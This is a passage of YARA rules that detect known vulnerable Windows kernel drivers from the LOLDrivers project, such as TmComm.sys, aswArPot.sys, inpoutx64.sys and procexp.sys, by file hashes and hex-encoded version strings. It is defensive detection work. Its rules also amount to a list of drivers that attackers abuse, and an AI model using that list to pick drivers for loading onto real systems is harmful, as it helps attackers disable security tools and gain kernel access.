		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_36E3
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "36e3127f045ef1fa7426a3ff8c441092d3b66923d2b69826034e48306609e289"
		date = "2023-06-14"
		score = 40
		id = "6ea52f09-df49-5bc4-a3bc-34a80e78b739"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_FDA9
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "fda93c6e41212e86af07f57ca95db841161f00b08dae6304a51b467056e56280"
		date = "2023-06-14"
		score = 40
		id = "d405ca94-8b2c-57cd-b6da-8dbfd5f8d858"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100310037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriver_D205
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_RCIO64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e"
		date = "2023-06-14"
		score = 40
		id = "ea90277d-696d-5674-b679-9a340359e853"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f005200430049004f00360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Windowsrwinddkprovider_Amifldrvsys_Windowsrwinddkdriver_38D8
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amifldrv64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "38d87b51f4b69ba2dae1477684a1415f1a3b578eee5e1126673b1beaefee9a20"
		hash = "ffc72f0bde21ba20aa97bee99d9e96870e5aa40cce9884e44c612757f939494f"
		date = "2023-06-14"
		score = 40
		id = "9c05031d-2062-53fb-982c-f874bf902b48"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0049002000470065006e00650072006900630020005500740069006c0069007400790020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Highresolutionenterpriseswwwhighrezcouk_Inpoutxsys_Inpoutxdriverversion_X_F581
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - inpoutx64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f581decc2888ef27ee1ea85ea23bbb5fb2fe6a554266ff5a1476acd1d29d53af"
		hash = "f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b"
		hash = "2d83ccb1ad9839c9f5b3f10b1f856177df1594c66cbbc7661677d4b462ebf44d"
		date = "2023-06-14"
		score = 40
		id = "2103d553-3e8a-5f81-b54e-c125aa7746ca"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00650072006e0065006c0020006c006500760065006c00200070006f0072007400200061006300630065007300730020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048006900670068007200650073006f006c007500740069006f006e00200045006e0074006500720070007200690073006500730020005b007700770077002e006800690067006800720065007a002e0063006f002e0075006b005d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006e0070006f007500740078003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300030003800200048006900670068007200650073006f006c007500740069006f006e00200045006e007400650072007000720069007300650073002e00200050006f007200740069006f006e007300200043006f007000790072006900670068007400200028006300290020004c006f00670069007800340075 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_12ED
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "12eda8b65ed8c1d80464a0c535ea099dffdb4981c134294cb0fa424efc85ee56"
		date = "2023-06-14"
		score = 40
		id = "d8599978-d388-5b67-99ff-d4bde156b433"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_EBE2
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ebe2e9ec6d5d94c2d58fbcc9d78c5f0ee7a2f2c1aed6d1b309f383186d11dfa3"
		date = "2023-06-14"
		score = 40
		id = "6d854b08-4675-53c5-9d7f-753c94310df0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_A334
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "a334bdf0c0ab07803380eb6ef83eefe7c147d6962595dd9c943a6a76f2200b0d"
		hash = "000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b"
		date = "2023-06-14"
		score = 40
		id = "50cf8320-c182-5f59-b2a7-750c618312bf"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_1C12
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1c1251784e6f61525d0082882a969cb8a0c5d5359be22f5a73e3b0cd38b51687"
		date = "2023-06-14"
		score = 40
		id = "14390895-6fae-5e00-9d0d-76347782873c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003100320034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_4BC0
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4bc0921ffd4acc865525d3faf98961e8decc5aec4974552cbbf2ae8d5a569de4"
		date = "2023-06-14"
		score = 40
		id = "da911735-e7b3-5721-8254-958f25b0efa1"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e00320030002e0030002e0031003000310032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e00320030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Iobitinformationtechnology_Iobitunlockersys_Unlocker_F85C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IObitUnlocker.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f85cca4badff17d1aa90752153ccec77a68ad282b69e3985fdc4743eaea85004"
		date = "2023-06-14"
		score = 40
		id = "a9cbfdc3-6c84-5c6f-98a9-8cf77cc32d9d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0055006e006c006f0063006b006500720020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f00620069007400200049006e0066006f0072006d006100740069006f006e00200054006500630068006e006f006c006f00670079 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0055006e006c006f0063006b00650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_93D8
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "93d873cdf23d5edc622b74f9544cac7fe247d7a68e1e2a7bf2879fad97a3ae63"
		date = "2023-06-14"
		score = 40
		id = "d300e7a0-b24b-5d52-b850-0aab145b33c5"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310037002e002000520061007a00650072002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Wisecleanercom_Wiseunlosys_Wiseunlo_358A
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WiseUnlo.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "358ac54be252673841a1d65bfc2fb6d549c1a4c877fa7f5e1bfa188f30375d69"
		date = "2023-06-14"
		score = 40
		id = "78b84e8a-1f92-5954-a1da-19d7208279db"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069007300650055006e006c006f }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069007300650043006c00650061006e00650072002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069007300650055006e006c006f }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000310035 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_9B6A
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4"
		date = "2023-06-14"
		score = 40
		id = "8fc2f891-9898-551b-8a21-5222af319764"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00320037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00320037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310039 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_7D43
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7d43769b353d63093228a59eb19bba87ce6b552d7e1a99bf34a54eee641aa0ea"
		date = "2023-06-14"
		score = 40
		id = "6c041a1a-b6f2-50f1-a079-1a4abc0c1f37"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310034002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_ADC1
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "adc10de960f40fa9f6e28449748250fa9ddfd331115b77a79809a50c606753ee"
		date = "2023-06-14"
		score = 40
		id = "77819373-6f49-56bc-8636-d25cd75491b7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0031003000310036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_9491
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "94911fe6f2aba9683b10353094caf71ee4a882de63b4620797629d79f18feec5"
		date = "2023-06-14"
		score = 40
		id = "1ac2562c-9d06-5372-bc45-e9491a7bfeea"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Fujitsulimited_Advdrvsys_Microsoftrwindowsroperatingsystem_04A8
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ADV64DRV.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "04a85e359525d662338cae86c1e59b1d7aa9bd12b920e8067503723dc1e03162"
		date = "2023-06-14"
		score = 40
		id = "fa878fd1-9d19-561e-bd01-b4693a48f480"

	strings:
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460055004a00490054005300550020004c0049004d0049005400450044002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f006600740052002000570069006e0064006f0077007300520020004f007000650072006100740069006e0067002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002800430029002000460055004a00490054005300550020004c0049004d004900540045004400200032003000300035 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_FF96
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
		author = "Florian Roth"
